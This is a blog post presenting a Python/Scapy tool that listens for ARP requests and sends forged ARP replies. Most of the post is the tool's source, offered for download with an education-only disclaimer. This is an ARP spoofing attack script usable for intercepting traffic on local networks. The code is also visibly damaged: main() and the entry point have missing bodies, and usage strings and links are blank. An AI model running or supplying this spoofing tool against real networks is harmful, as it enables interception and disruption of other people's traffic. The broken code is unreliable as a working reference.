Sunday, January 10, 2016

Building your own tools with Scapy & Python - ARP Spoofing

A while back I did this blog post on creating DNS Spoofing tool using Scapy. For some strange reasons, it is one of my more popular blog posts. I thought since this is a well liked post, maybe I should do one on ARP spoofing. So this post addresses that. Consider this post as Building your own tools with Scapy & Python part 2

Since Address Resolution Protocol (ARP) is a broadcast protocol, it is possible for us to easily fake ARP replies by simply listening for ARP requests.
In this post, we will develop the code and in this post, we evaluate whether or not it works.

#!/usr/bin/env python
# Author: Nik Alleyne
# Author blog:
# Contact: nikalleyne at
# This code is simply for demonstration and education purposes
# if you use this code for anything malicious or you cause disruption
# to your environment or any other, in NO WAY AM I RESPONSIBLE!

from scapy.all import ARP, IP, sniff, send
from subprocess import call
from sys import exit, argv

# Print some basic usage information
def usage():
    print(' ./ - author:Nik Alleyne - ')
    print(' ./ interface_to_listen_on ip_address_to_listen_for mac_you_would_like_to_use ')
    print(' eg. ./ eth0 01:02:03:04:05:06')

# This function listens for the ARP request and builds the response
def listen_and_build(src_intf, target_ip, my_mac):
    # Adding a variable named 'some_data' to make it interesting
    some_data = "Hey there watch me ride on ARP ;-) - securitynik"
    # using this list I will compare each byte within the protocol destination address
    # I needed to do this to ensure I keep the sniff filter as tight as possible
    pdst = []
    # The IP entered on the command line is being separated by the '.'
    pdst = target_ip.split('.')

    print(' Listening for ARP request for \'%s\' ... ' %target_ip)
    # Let's sniff for our ARP packet
    # To keep the filter as tight as possible, let's only capture ARP Requests
    # Take a look at '' \
    # for the better understanding of the filter value
    get_arp_request = sniff(iface=src_intf, filter='arp[6:2] & 0x0F=0x01 and arp[24] & 0xFF='+ pdst[0] +' and arp[25] & 0xFF='+ pdst[1] +' and arp[26] & 0xFF='+pdst[2]+' and arp[27] & 0xFF='+pdst[3], count=1)
    # Uncomment the line below to verify the packet is captured

    # extract the IP of the host sending the request
    received_arp_ip_src = get_arp_request[0].getlayer(ARP).psrc

    # extract the MAC address of the host sending the request
    received_arp_hw_src = get_arp_request[0].getlayer(ARP).hwsrc

    # extract the destination which is being searched for
    received_arp_ip_dst = get_arp_request[0].getlayer(ARP).pdst
    print(' \n Found ARP Request ... ')
    print(' source host \'%s(%s)\' looking for destination host \'%s\'  ' %(received_arp_ip_src,received_arp_hw_src,received_arp_ip_dst))
    print(' \n Building your fake ARP reply ...')

    # start building the spoofed ARP request
    send_arp_reply = ARP()

    # Specify hardware type as Ethernet - let's use the value from the ARP request
    send_arp_reply.hwtype = get_arp_request[0].getlayer(ARP).hwtype

    # Specify the protocol type as IP - using the value from the ARP request
    send_arp_reply.ptype = get_arp_request[0].getlayer(ARP).ptype

    # Specify the Ethernet destination/source length. This is 48 bits or 6 bytes. Using values from ARP request
    send_arp_reply.hwlen = get_arp_request[0].getlayer(ARP).hwlen

    # Specify your protocol length. IPv4 is 32 bits or 4 bytes. Using values from ARP request
    send_arp_reply.plen = get_arp_request[0].getlayer(ARP).plen

    # Specify the OP code. In this case we use 2 since this is an ARP reply
    # This is probably the most important line of our code
    send_arp_reply.op = 0x02

    # Specify the MAC address which you would like to send
    # Let's take this from the command line. This is the 3rd opiton in the commane line argument
    send_arp_reply.hwsrc = my_mac

    # Specify your IP, or the IP would like to send to the requester.
    # Whatever is requested in the ARP request, we will send back in the ARP reply
    send_arp_reply.psrc = received_arp_ip_dst

    # Specify MAC of the host that should receive this reply.
    # We can take that from the request packet
    send_arp_reply.hwdst = received_arp_hw_src

    # specify the destination IP of the receiving host
    # once again we  can take this from the request
    send_arp_reply.pdst = get_arp_request[0].getlayer(ARP).psrc

    print(' sending your fake ARP reply .... ')
    print(' Reply from \'%s(%s)\' to requester \'%s(%s)\' ' %(send_arp_reply.psrc,send_arp_reply.hwsrc,send_arp_reply.pdst, send_arp_reply.hwdst))
    send(send_arp_reply/some_data, count=3)

    # Uncoment the line below if you would like to see your entire ARP reply packet

def main():
    if ( len(argv) != 4 ):
    # Let's read the values used at the commanline to make our tool work
    listen_and_build(argv[1].strip(),argv[2].strip(), argv[3].strip())

if __name__ == '__main__':

So at this point you maybe asking ... but Nik how do we know this works?! ... and this is where I say I'm glad you asked ;-).

Let's look at the next post to verify this works as expected.

Download tool



  1. This comment has been removed by a blog administrator.